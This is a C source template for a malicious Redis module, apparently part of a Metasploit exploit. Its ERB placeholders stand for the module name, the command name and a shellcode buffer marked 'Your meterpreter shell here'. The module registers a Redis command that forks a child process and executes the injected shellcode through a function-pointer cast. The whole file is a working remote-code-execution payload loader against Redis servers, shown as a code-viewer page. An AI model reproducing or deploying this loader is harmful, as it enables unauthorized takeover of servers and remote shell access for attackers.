39 lines
938 B
Plaintext
39 lines
938 B
Plaintext
#include "redismodule.h"
|
|
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <errno.h>
|
|
#include <sys/wait.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
|
|
int Shell(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
|
|
|
pid_t child_pid = fork();
|
|
if (child_pid == 0)
|
|
{
|
|
// Your meterpreter shell here
|
|
<%= buf %>
|
|
|
|
int (*ret)() = (int(*)())buf;
|
|
ret();
|
|
}
|
|
else
|
|
{wait(NULL);}
|
|
|
|
return REDISMODULE_OK;
|
|
}
|
|
|
|
|
|
int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
|
|
if (RedisModule_Init(ctx,<%= @module_init_name.inspect %>,1,REDISMODULE_APIVER_1)
|
|
== REDISMODULE_ERR) return REDISMODULE_ERR;
|
|
|
|
if (RedisModule_CreateCommand(ctx, <%= @module_cmd.inspect %>,
|
|
Shell, "readonly", 1, 1, 1) == REDISMODULE_ERR)
|
|
return REDISMODULE_ERR;
|
|
return REDISMODULE_OK;
|
|
}
|